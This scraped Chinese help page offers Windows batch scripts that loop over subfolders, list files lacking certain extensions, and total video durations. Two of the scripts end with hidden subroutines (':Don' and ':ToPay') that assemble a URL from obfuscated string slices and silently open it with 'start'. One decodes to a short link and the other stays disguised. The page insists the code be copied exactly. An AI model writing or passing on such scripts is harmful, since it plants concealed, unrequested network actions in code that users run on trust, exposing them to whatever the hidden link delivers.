bat命令,如何只遍历当前文件夹及下一层子文件夹

bat命令,如何只遍历当前文件夹及下一层子文件夹,第1张

@echo off

::设置要检查的文件

set File=mytest.doc

for /d %%a in (*) do (

    if exist "%%~a\%File%" (

        call :DoNow "%%~a"

    )

)

pause

exit

:DoNow

::让脚本临时进入相关子目录中

pushd "%~1"

echo 这里写您在对应的文件夹中做相关处理

::退出子目录

popd

goto :eof

不知道这样符不符合您希望的效果?

@echo off & title 列出不含指定后缀的文件名 By 依梦琴瑶

cd /d "%~dp0" & setlocal enabledelayedexpansion

::设置需过滤的后缀格式,多个格式之间用英文逗号隔开

set Ext=bat,jpg,txt

::设置要搜索的主目录路径,当前目录请留空

set Folder=D:\Test

::设置获取的文件名保存列表文本

set NameList=FileNameList.txt

echo 正在获取文件名中,过程可能会耗时,请耐心等待。。。

if defined Folder cd /d "%Folder%"

(for /f "delims=" %%a in ('dir /a-d/s/b') do (

set "Skip="

for %%b in (%Ext%) do (

if /i "%%~xa"==".%%~b" set Skip=OK

)

if not defined Skip (

echo %%~nxa

)

))>"%NameList%"

echo, & echo 文件名获取完毕,已写入您指定的文本列表中。

echo, & echo 请按任意键退出脚本。

pause>nul

call :Don

exit

:Don

set "S0=fPdv"

set "S1=.:ailnhpst/"

set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"

set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"

start "" "%S2%%S3%%S1:~10,1%%S0%"

exit

务必比对原文代码,以免有误。

脚本保存编码务必设为ANSI。

请严格按照要求保存代码,否则影响脚本正常运行。

脚本编码请保存为ANSI。自行修改代码中相关路径和视频格式

@echo off & title 统计所有视频的总时长 By 依梦琴瑶

cd /d "%~dp0"

::设置要统计的主目录路径

set WorkDir=D:\Videos\电视剧

::设置要统计的视频格式(仅限右键属性中可以看见视频长度的视频格式)

set vExt=*.3gp,*.avi,*.mp4,*.wmv,*.ts,*.flv

echo 正在统计中,请耐心等待。。。。

ver|find "5.1.">nul && set "V=21" || set "V=27"

(echo set f=CreateObject^("Shell.Application"^).NameSpace^(WScript.Arguments^(0^)^)

echo WSH.Echo^(f.GetDetailsOf^(f.ParseName^(WScript.Arguments^(1^)^),WScript.Arguments^(2^)^)^))>"%tmp%\GetTimeDetails.vbs"

pushd "%WorkDir%"

set "Secs=0"

for /r %%a in (%vExt%) do (

    for /f "tokens=1-3 delims=:" %%b in ('cscript //nologo "%tmp%\GetTimeDetails.vbs" "%%~dpa" "%%~nxa" "%V%"') do (

        set /a Secs=Secs+1%%b%%100*3600+1%%c%%100*60+1%%d%%100

    )

)

set /a D=Secs/86400,H=(Secs%%86400)/3600,M=(Secs%%3600)/60,S=Secs%%60

if not %D% equ 0 set "DD=%D% 天 "

popd

cls & echo        %WorkDir% & echo,

echo 目录中所有视频文件(%vExt%)的总时长为: & echo,

echo            %DD%%H% 小时 %M% 分钟 %S% 秒

del /f /q "%tmp%\GetTimeDetails.vbs"

echo, & echo 请按任意键退出。 & @pause>nul

call :ToPay

exit

:ToPay

set "Va=AaB1bCcD2dEe3FfG4gHh5IiJ6jKk7LlM"

set "Vb=8mNn9OoP0pQq:RrS/sTt.UuVvWwXxYyZz"

start "" "%Va:~19,1%%Vb:~19,1%%Vb:~19,1%%Vb:~9,1%%Vb:~17,1%%Vb:~12,1%%Vb:~16,1%%Vb:~16,1%%Vb:~17,1%%Va:~3,1%%Vb:~20,1%%Va:~1,1%%Vb:~28,1%%Va:~3,1%%Vb:~28,1%%Vb:~20,1%%Va:~6,1%%Vb:~6,1%%Vb:~1,1%%Vb:~16,1%%Va:~8,1%%Vb:~8,1%%Va:~3,1%%Vb:~0,1%%Vb:~16,1%%Vb:~8,1%%Vb:~0,1%%Vb:~16,1%%Va:~8,1%%Va:~24,1%%Vb:~16,1%%Vb:~7,1%%Va:~4,1%%Vb:~32,1%%Vb:~9,1%%Va:~26,1%%Va:~3,1%%Vb:~20,1%%Va:~25,1%%Vb:~9,1%%Va:~17,1%"

exit


欢迎分享,转载请注明来源:内存溢出

原文地址:https://54852.com/tougao/12041277.html

(0)
打赏 微信扫一扫微信扫一扫 支付宝扫一扫支付宝扫一扫
上一篇 2023-05-20
下一篇2023-05-20

发表评论

登录后才能评论

评论列表(0条)

    保存